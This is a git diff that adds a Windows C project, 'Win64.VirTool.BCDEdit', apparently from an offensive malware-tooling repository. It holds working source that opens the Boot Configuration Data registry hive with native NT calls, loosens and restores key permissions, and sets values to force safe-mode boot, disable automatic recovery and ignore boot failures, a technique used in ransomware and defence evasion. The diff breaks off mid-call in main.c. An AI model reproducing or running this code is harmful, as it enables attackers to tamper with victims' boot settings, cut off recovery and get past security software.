diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.sln b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.sln new file mode 100644 index 0000000..ad2fa87 --- /dev/null +++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31410.223 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win64.VirTool.BCDEdit", "Win64.VirTool.BCDEdit.vcxproj", "{D1412F61-E19B-4D53-94CA-BC381E47033A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.ActiveCfg = Debug|x64 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x64.Build.0 = Debug|x64 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.ActiveCfg = Debug|Win32 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Debug|x86.Build.0 = Debug|Win32 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.ActiveCfg = Release|x64 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x64.Build.0 = Release|x64 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.ActiveCfg = Release|Win32 + {D1412F61-E19B-4D53-94CA-BC381E47033A}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B5203926-E601-4923-A8DA-D4CBE2ADCE2F} + EndGlobalSection +EndGlobal diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj new file mode 100644 index 0000000..af19071 --- /dev/null +++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj @@ -0,0 +1,150 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {d1412f61-e19b-4d53-94ca-bc381e47033a} + Win64VirToolBCDEdit + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.filters b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.filters new file mode 100644 index 0000000..455acdb --- /dev/null +++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.filters @@ -0,0 +1,19 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.user b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/Win64.VirTool.BCDEdit/Win64.VirTool.BCDEdit.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Win64.VirTool.BCDEdit/bcdutil.c b/Win64.VirTool.BCDEdit/bcdutil.c new file mode 100644 index 0000000..e343d81 --- /dev/null +++ b/Win64.VirTool.BCDEdit/bcdutil.c @@ -0,0 +1,497 @@ +/** +* @file bcdutil.c +* @author Paul L. (@am0nsec) +* @version 1.0 +* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure. +* @details +* @link https://github.com/am0nsec/vx +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#include "bcdutil.h" +#include +#include + +_Use_decl_annotations_ NTSTATUS +BcdGetDefaultBootObject( + _Out_ PHKEY phWindowsBootMgrDefaultObj +) { + // 1. Open handle to HKLM + HKEY hLocalMachine = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdOpenKeyByName( + L"\\Registry\\Machine", + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE | KEY_CREATE_SUB_KEY), + NULL, + &hLocalMachine + )); + + // 2. Find the BCD sub key + HKEY hBCD = INVALID_HANDLE_VALUE; + LPWSTR wszBcdSubKeyFragment = NULL; + DWORD dwzBcdSubKeyFragment = 0x00; + EXIT_ON_ERROR(BcdpGetSubKeyByPattern( + &hLocalMachine, + L"BCD", + (CONST DWORD)0x03, + &wszBcdSubKeyFragment, + &dwzBcdSubKeyFragment + )); + + // 3. Open handle to the new BCD sub key + EXIT_ON_ERROR(BcdOpenKeyByName( + wszBcdSubKeyFragment, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hLocalMachine, + &hBCD + )); + HeapFree(GetProcessHeap(), 0x00, wszBcdSubKeyFragment); + + // 4. Open handle to the new Objects sub key + HKEY hBCDObjects = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdOpenKeyByName( + L"Objects", + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hBCD, + &hBCDObjects + )); + + // 5. Open handle to the Windows boot manager + HKEY hWindowsBootMgr = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdOpenKeyByName( + GUID_WINDOWS_BOOTMGR, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hBCDObjects, + &hWindowsBootMgr + )); + + // 6. Open handle tot the Elements of the Windows boot manager + HKEY hWindowsBootMgrElements = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdOpenKeyByName( + BCD_ELEMENTS, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hWindowsBootMgr, + &hWindowsBootMgrElements + )); + + // 7. Open an handle to the default object and get the value. + HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdOpenKeyByName( + BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hWindowsBootMgrElements, + &hWindowsBootMgrDefaultObj + )); + + // 8. Open an handle to the default boot object + LPWSTR wszWindowsBootMgrDefaultObj = NULL; + DWORD dwWindowsBootMgrDefaultObj = 0x00; + EXIT_ON_ERROR(BcdpQueryValueByName( + L"Element", + &hWindowsBootMgrDefaultObj, + REG_SZ, + &wszWindowsBootMgrDefaultObj, + &dwWindowsBootMgrDefaultObj + )); + + // 9. Get the GUID of the default object + EXIT_ON_ERROR(BcdOpenKeyByName( + wszWindowsBootMgrDefaultObj, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hBCDObjects, + phWindowsBootMgrDefaultObj + )); + HeapFree(GetProcessHeap(), 0x00, wszWindowsBootMgrDefaultObj); + + // Cleanup and return + NtClose(hLocalMachine); + NtClose(hBCD); + NtClose(hBCDObjects); + NtClose(hWindowsBootMgr); + NtClose(hWindowsBootMgrElements); + NtClose(hWindowsBootMgrDefaultObj); + return STATUS_SUCCESS; +} + + +_Use_decl_annotations_ NTSTATUS +BcdModifyBootConfiguration( + _In_ CONST PHKEY phKey, + _In_ CONST LPWSTR wszKey, + _In_ LPVOID pData, + _In_ ULONG ulData +) { + if (phKey == NULL || wszKey == NULL || pData == NULL || ulData == 0x00) + return STATUS_UNSUCCESSFUL; + + // 1. Check if key already exist otherwise create a new one + HKEY hObject = INVALID_HANDLE_VALUE; + NTSTATUS Status = BcdOpenKeyByName( + wszKey, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + phKey, + &hObject + ); + if (Status == STATUS_OBJECT_NAME_NOT_FOUND) { + // 1.1. Change the DACL to have write permissions + RETURN_ON_ERROR(BcdpChangeObjectPermission( + phKey, + (KEY_CREATE_SUB_KEY | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL) + )); + + // 1.2. Create the key + RETURN_ON_ERROR(BcdpCreateKey( + wszKey, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_SET_VALUE), + phKey, + &hObject + )); + + // 1.3. Revert the permissions + RETURN_ON_ERROR(BcdpChangeObjectPermission( + phKey, + (KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL) + )); + } + + // 2. Allow set Windows registry value to the newly created key and open new key + RETURN_ON_ERROR(BcdpChangeObjectPermission( + &hObject, + KEY_SET_VALUE | KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL + )); + + NtClose(hObject); + RETURN_ON_ERROR(BcdOpenKeyByName( + wszKey, + (KEY_SET_VALUE | READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + phKey, + &hObject + )); + + // 3. Set the value and change the DACLs to original value + RETURN_ON_ERROR(BcdpSetValue( + BCD_ELEMENT, + &hObject, + pData, + ulData + )); + RETURN_ON_ERROR(BcdpChangeObjectPermission( + &hObject, + KEY_NOTIFY | KEY_ENUMERATE_SUB_KEYS | WRITE_DAC | KEY_QUERY_VALUE | READ_CONTROL + )); + + // Cleanup and return + NtClose(hObject); + return STATUS_SUCCESS; +} + + +_Use_decl_annotations_ NTSTATUS +BcdAcquireSyncMutant( + _Out_ PHANDLE phHandle +) { + if (phHandle == NULL) + return STATUS_INVALID_PARAMETER; + + UNICODE_STRING MutantName = { 0x00 }; + RtlInitUnicodeString(&MutantName, L"\\KernelObjects\\BcdSyncMutant"); + + OBJECT_ATTRIBUTES MutantAttributes = { 0x00 }; + InitializeObjectAttributes( + &MutantAttributes, + &MutantName, + OBJ_CASE_INSENSITIVE, + 0x00, + 0x00 + ); + + return NtOpenMutant(phHandle, 0x100000, &MutantAttributes, FALSE); +} + + +_Use_decl_annotations_ NTSTATUS +BcdpGetSubKeyByPattern( + _In_ CONST PHKEY phKey, + _In_ CONST LPWSTR wszPattern, + _In_ CONST DWORD dwPatternLength, + _Out_ LPWSTR* wszSubKeyName, + _Out_ PDWORD pdwSubKeyNameLength +) { + if (phKey == NULL + || wszPattern == NULL + || pdwSubKeyNameLength == NULL) + return STATUS_INVALID_PARAMETER; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + // Initialise variables and heap memory + DWORD dwIndex = 0x00; + ULONG ulBuffer = 0x100; + PKEY_BASIC_INFORMATION BasicInformation = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer); + + // Parse each entry one by one + while (TRUE) { + ULONG ulReturned = 0x00; + Status = NtEnumerateKey( + *phKey, + dwIndex, + KeyBasicInformation, + (LPVOID)BasicInformation, + ulBuffer, + &ulReturned + ); + + // Key not found + if (Status == STATUS_NO_MORE_ENTRIES) { + Status = STATUS_UNSUCCESSFUL; + break; + } + // Buffer not large enough to get the basic information + else if (Status == STATUS_BUFFER_TOO_SMALL) { + HeapReAlloc(GetProcessHeap(), 0x00, (LPVOID)BasicInformation, ulReturned); + ulBuffer = ulReturned; + continue; + } + + // Checking if it is pattern + if (_wcsnicmp(BasicInformation->Name, wszPattern, (SIZE_T)dwPatternLength) == 0x00) { + *pdwSubKeyNameLength = BasicInformation->NameLength; + *wszSubKeyName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BasicInformation->NameLength); + + memcpy_s( + *wszSubKeyName, + BasicInformation->NameLength, + BasicInformation->Name, + BasicInformation->NameLength + ); + Status = STATUS_SUCCESS; + break; + } + + // Try next entry + RtlZeroMemory(BasicInformation, ulReturned); + dwIndex++; + } + + // Cleanup and exit + HeapFree(GetProcessHeap(), 0x00, BasicInformation); + return Status; +} + + +_Use_decl_annotations_ NTSTATUS +BcdOpenKeyByName( + _In_ CONST LPWSTR wszKeyName, + _In_ ACCESS_MASK AccessMask, + _In_ PHANDLE phDirectory, + _Out_ PHKEY phKey +) { + if (wszKeyName == NULL) + return STATUS_INVALID_PARAMETER; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + // Initialise the UNCIODE_STRING + UNICODE_STRING ObjectName = { 0x00 }; + RtlInitUnicodeString(&ObjectName, wszKeyName); + + // Initialise the OBJECT_ATTRIBUTES + OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 }; + InitializeObjectAttributes( + &ObjectAttributes, + &ObjectName, + OBJ_CASE_INSENSITIVE, + 0x00, + 0x00 + ); + if (phDirectory != NULL) + ObjectAttributes.RootDirectory = *phDirectory; + + // Try to open the key + *phKey = INVALID_HANDLE_VALUE; + Status = NtOpenKey( + phKey, + AccessMask, + &ObjectAttributes + ); + + return Status; +} + + +_Use_decl_annotations_ NTSTATUS +BcdpQueryValueByName( + _In_ CONST LPWSTR wszValueName, + _In_ PHKEY phKey, + _In_ DWORD dwType, + _Out_ LPVOID* ppData, + _Out_ DWORD* pdwData +) { + if (wszValueName == NULL + || phKey == NULL + || ppData == NULL + || pdwData == NULL) + return STATUS_INVALID_PARAMETER; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + // Initialise the UNCIODE_STRING + UNICODE_STRING ObjectName = { 0x00 }; + RtlInitUnicodeString(&ObjectName, wszValueName); + + // Get buffer ready + ULONG ulReturned = 0x00; + ULONG ulBuffer = 0x100; + PKEY_VALUE_PARTIAL_INFORMATION Information = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulBuffer); + + // Get the value + do { + Status = NtQueryValueKey( + *phKey, + &ObjectName, + KeyValuePartialInformation, + (LPVOID)Information, + ulBuffer, + &ulReturned + ); + + if (NT_SUCCESS(Status)) + break; + + ulBuffer += 0x100; + Information = HeapReAlloc(GetProcessHeap(), 0x00, Information, ulBuffer); + } while (Status == STATUS_BUFFER_TOO_SMALL); + + // Check the data type + if (Information->Type != dwType) { + HeapFree(GetProcessHeap(), 0x00, Information); + return STATUS_UNSUCCESSFUL; + } + + // Allocate memory and copy data + *ppData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Information->DataLength); + memmove_s(*ppData, Information->DataLength, Information->Data, Information->DataLength); + *pdwData = Information->DataLength; + + // De-allocate memory and return + HeapFree(GetProcessHeap(), 0x00, Information); + return Status; +} + + +_Use_decl_annotations_ +NTSTATUS BcdpCreateKey( + _In_ CONST LPWSTR wszKeyName, + _In_ ACCESS_MASK DesiredAccess, + _In_ PHANDLE phDirectory, + _Out_ PHANDLE phKey +) { + if (wszKeyName == NULL || phKey == NULL) + return STATUS_INVALID_PARAMETER; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + // Initialise the UNCIODE_STRING + UNICODE_STRING ObjectName = { 0x00 }; + RtlInitUnicodeString(&ObjectName, wszKeyName); + + // Initialise the OBJECT_ATTRIBUTES + OBJECT_ATTRIBUTES ObjectAttributes = { 0x00 }; + InitializeObjectAttributes( + &ObjectAttributes, + &ObjectName, + OBJ_CASE_INSENSITIVE, + 0x00, + 0x00 + ); + if (phDirectory != NULL) + ObjectAttributes.RootDirectory = *phDirectory; + + // Create the key + return NtCreateKey( + phKey, + DesiredAccess, + &ObjectAttributes, + 0x00, + NULL, + REG_OPTION_NON_VOLATILE, + NULL + ); +} + + +_Use_decl_annotations_ +NTSTATUS BcdpSetValue( + _In_ CONST LPWSTR wszValue, + _In_ PHANDLE phKey, + _In_ PVOID pData, + _In_ ULONG ulData +) { + if (wszValue == NULL || phKey == NULL || pData == NULL || ulData == 0x00) + return STATUS_INVALID_PARAMETER; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + // Initialise the UNCIODE_STRING + UNICODE_STRING ObjectName = { 0x00 }; + RtlInitUnicodeString(&ObjectName, wszValue); + + Status = NtSetValueKey( + *phKey, + &ObjectName, + 0x00, + REG_BINARY, + pData, + ulData + ); + return Status; +} + + +_Use_decl_annotations_ +NTSTATUS BcdpChangeObjectPermission( + _In_ CONST PHANDLE phKey, + _In_ DWORD dwPrivileges +) { + if (phKey == NULL) + return STATUS_UNSUCCESSFUL; + NTSTATUS Status = STATUS_UNSUCCESSFUL; + + // Get the SID of the local Administrators group + PSID AdminSID = NULL; + SID_IDENTIFIER_AUTHORITY SIDAuthNT = SECURITY_NT_AUTHORITY; + if (!AllocateAndInitializeSid( + &SIDAuthNT, + 0x02, + SECURITY_BUILTIN_DOMAIN_RID, + DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &AdminSID + )) { + return STATUS_UNSUCCESSFUL; + } + + // Get the current security descriptor of the Windows Registry key + PACL pOldDACL = NULL; + PACL pNewDACL = NULL; + PSECURITY_DESCRIPTOR SecurityDescriptor = NULL; + DWORD dwStatus = GetSecurityInfo( + *phKey, + SE_REGISTRY_KEY, + DACL_SECURITY_INFORMATION, + NULL, + NULL, + &pOldDACL, + NULL, + &SecurityDescriptor + ); + if (dwStatus != ERROR_SUCCESS) + return STATUS_UNSUCCESSFUL; + + EXPLICIT_ACCESS ea = { 0x00 }; + ea.grfAccessPermissions = dwPrivileges; + ea.grfAccessMode = SET_ACCESS; + ea.grfInheritance = NO_INHERITANCE; + ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP; + ea.Trustee.ptstrName = (LPTSTR)AdminSID; + + if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS) + return STATUS_UNSUCCESSFUL; + if (SetSecurityInfo(*phKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS) + return STATUS_UNSUCCESSFUL; + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/Win64.VirTool.BCDEdit/bcdutil.h b/Win64.VirTool.BCDEdit/bcdutil.h new file mode 100644 index 0000000..e4a601c --- /dev/null +++ b/Win64.VirTool.BCDEdit/bcdutil.h @@ -0,0 +1,298 @@ +/** +* @file bcdutil.c +* @author Paul L. (@am0nsec) +* @version 1.0 +* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure. +* @details +* @link https://github.com/am0nsec/vx +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#ifndef __BCDUTIL_H_GUARD__ +#define __BCDUTIL_H_GUARD__ + +#pragma comment(lib, "ntdll") + +#include +#include +#include + +/** + * @brief GUID of the Windows Boot Manager Configuration within the Windows Registry: 9DEA862C-5CDD-4E70-ACC1-F32B344D4795 +*/ +static CONST GUID GUID_WINDOWS_BOOTMGR = { 0x9DEA862C, 0x5CDD, 0x4E70, {0xAC, 0xC1, 0xF3, 0x2B, 0x34, 0x4D, 0x47, 0x95} }; + +// Taken from https://www.geoffchappell.com/notes/windows/boot/bcd/elements.htm?tx=27 + +#define GUID_WINDOWS_BOOTMGR L"{9DEA862C-5CDD-4E70-ACC1-F32B344D4795}" +#define BCD_ELEMENTS L"Elements" +#define BCD_ELEMENT L"Element" + +#define BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT L"23000003" +#define BCDE_OSLOADER_TYPE_SAFEBOOT L"25000080" +#define BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED L"16000009" +#define BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY L"250000E0" + +#define STATUS_SUCCESS 0x00000000 +#define STATUS_UNSUCCESSFUL 0xC0000001 +#define STATUS_INTERNAL_ERROR 0xC00000E5 +#define STATUS_BUFFER_TOO_SMALL 0xC0000023 +#define STATUS_NO_MORE_ENTRIES 0x8000001A +#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034 + +#define RETURN_ON_ERROR(ex) \ + if (!NT_SUCCESS(ex)) { return STATUS_UNSUCCESSFUL; } + +#define EXIT_ON_ERROR(ex) \ + if (!NT_SUCCESS(ex)) { return EXIT_FAILURE; } + +#define EXIT_ON_ERROREX(ex, code) \ + if (ex != code) { return EXIT_FAILURE; } + +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + KeyVirtualizationInformation, + KeyHandleTagsInformation, + KeyTrustInformation, + KeyLayerInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + KeyValueLayerInformation, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _SECURITY_DESCRIPTOREX { + UCHAR Revision; + UCHAR Sbz1; + WORD Control; + PVOID Owner; + PVOID Group; + PACL Sacl; + PACL Dacl; +} SECURITY_DESCRIPTOREX, * PSECURITY_DESCRIPTOREX; + + +extern NTSTATUS NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + + +extern NTSTATUS NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + + +extern NTSTATUS NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition +); + + +extern NTSTATUS NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength +); + + +extern NTSTATUS NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner +); + + +extern NTSTATUS NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_ PVOID Data, + _In_ ULONG DataSize +); + + +/** + * @brief Get handle to the default Windows Boot Object. + * @param phWindowsBootMgrDefaultObj Pointer to an handle. + * @return Whether an handle has been successfully retrieved. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdGetDefaultBootObject( + _Out_ PHKEY phWindowsBootMgrDefaultObj +); + + +/** + * @brief Modify boot configuration. + * @param phKey Pointer to an handle of the Windows default boot object. + * @param wszKey Name of the configuration to change. + * @param pData Pointer to the data of the value. + * @param ulData Size of the data for the value. + * @return Whether boot configuration has been modified. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdModifyBootConfiguration( + _In_ CONST PHKEY phKey, + _In_ CONST LPWSTR wszKey, + _In_ LPVOID pData, + _In_ ULONG ulData +); + + +/** + * @brief Acquire an handle to the BCD synchronisation mutant. + * @param phHandle Pointer to an handle. + * @return Whether an handle to the BCD synchronisation mutant has been acquired. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdAcquireSyncMutant( + _Out_ PHANDLE phHandle +); + + +/** + * @brief Open an HANDLE to a registry object by name. + * @param wszKeyName The Unicode name of the registry object. + * @param AccessMask The desired access mask. + * @param phDirectory Pointer to a parent object within the object manager namespace. + * @param phKey Pointer to the HANDLE if found and successfully opened. + * @return Whether the HANDLE has been open. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdOpenKeyByName( + _In_ CONST LPWSTR wszKeyName, + _In_ ACCESS_MASK AccessMask, + _In_ PHANDLE phDirectory, + _Out_ PHKEY phKey +); + + +/** + * @brief Find a sub key for a given pattern. + * @param phKey Pointer to the key to search from. + * @param wszPattern The pattern to find (e.g., BCD). + * @param dwPatternLength Length of the pattern (e.g., 3). + * @param wszSubKeyName Pointer to the name of the sub-key once found. + * @param pdwSubKeyNameLength Pointer to the length of the sub-key once found. + * @return Whether the sub-key has been found. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdpGetSubKeyByPattern( + _In_ CONST PHKEY phKey, + _In_ CONST LPWSTR wszPattern, + _In_ CONST DWORD dwPatternLength, + _Out_ LPWSTR * wszSubKeyName, + _Out_ PDWORD pdwSubKeyNameLength +); + + +/** + * @brief Get the value of a Windows registry key by name. + * @param wszValueName The Unicode name of the value to retrieve. + * @param phKey Pointer to an handle of a Windows Registry key. + * @param dwType Type of data to retreive. + * @param ppData Pointer to a buffer. + * @param pdwData Poitner to the size of the buffer that will be returned. + * @return Whether the value has been successfully retrieved. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdpQueryValueByName( + _In_ CONST LPWSTR wszValueName, + _In_ PHKEY phKey, + _In_ DWORD dwType, + _Out_ LPVOID * ppData, + _Out_ DWORD * pdwData +); + + +/** + * @brief Create a new windows registry key. + * @param wszKeyName The Unicode name of the key to create. + * @param DesiredAccess Desired access. + * @param dwType Type of data to retreive. + * @param phDirectory Pointer to a parent object within the object manager namespace. + * @param phKey Pointer to an handle of the newly created key. + * @return Whether the key has been created. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdpCreateKey( + _In_ CONST LPWSTR wszKeyName, + _In_ ACCESS_MASK DesiredAccess, + _In_ PHANDLE phDirectory, + _Out_ PHANDLE phKey +); + + +/** + * @brief Set a new value to a windows registry key + * @param wszKeyName The Unicode name of the value to create/modify. + * @param phKey Handle to a windows registry key. + * @param pData Pointer to the data of the value. + * @param ulData Size of the data of the value. + * @return Whether the value has been successfully created or modified. +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdpSetValue( + _In_ CONST LPWSTR wszValue, + _In_ PHANDLE phKey, + _In_ PVOID pData, + _In_ ULONG ulData +); + + +/** + * @brief Set a new value to a windows registry key + * @param phKey Handle to a windows registry key. + * @param dwPrivileges Desried new privileges. + * @return Whether the new privileges have been assigned +*/ +_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS +BcdpChangeObjectPermission( + _In_ CONST PHANDLE phKey, + _In_ DWORD dwPrivileges +); + + +#endif // !__BCDUTIL_H_GUARD__ diff --git a/Win64.VirTool.BCDEdit/main.c b/Win64.VirTool.BCDEdit/main.c new file mode 100644 index 0000000..e624442 --- /dev/null +++ b/Win64.VirTool.BCDEdit/main.c @@ -0,0 +1,63 @@ +/** +* @file main.c +* @author Paul L. (@am0nsec) +* @version 1.0 +* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure. +* @details +* @link https://github.com/am0nsec/vx +* @copyright This project has been released under the GNU Public License v3 license. +*/ +#include +#include "bcdutil.h" + +INT main() { + // 1. Acquire BCD synchronisation mutant + HANDLE hMutant = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdAcquireSyncMutant(&hMutant)); + + // 2. Get handle to the windows default boot object + HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE; + BcdGetDefaultBootObject(&hWindowsBootMgrDefaultObj); + + // 3. Open handle to the Elements of the default boot object + HKEY hWindowsBootMgrDefaultObjElements = INVALID_HANDLE_VALUE; + EXIT_ON_ERROR(BcdOpenKeyByName( + BCD_ELEMENTS, + (READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS), + &hWindowsBootMgrDefaultObj, + &hWindowsBootMgrDefaultObjElements + )); + + // 4. Enable SafeBoot + BYTE SafeBootData[0x08] = { 0x00 }; + BcdModifyBootConfiguration( + &hWindowsBootMgrDefaultObjElements, + 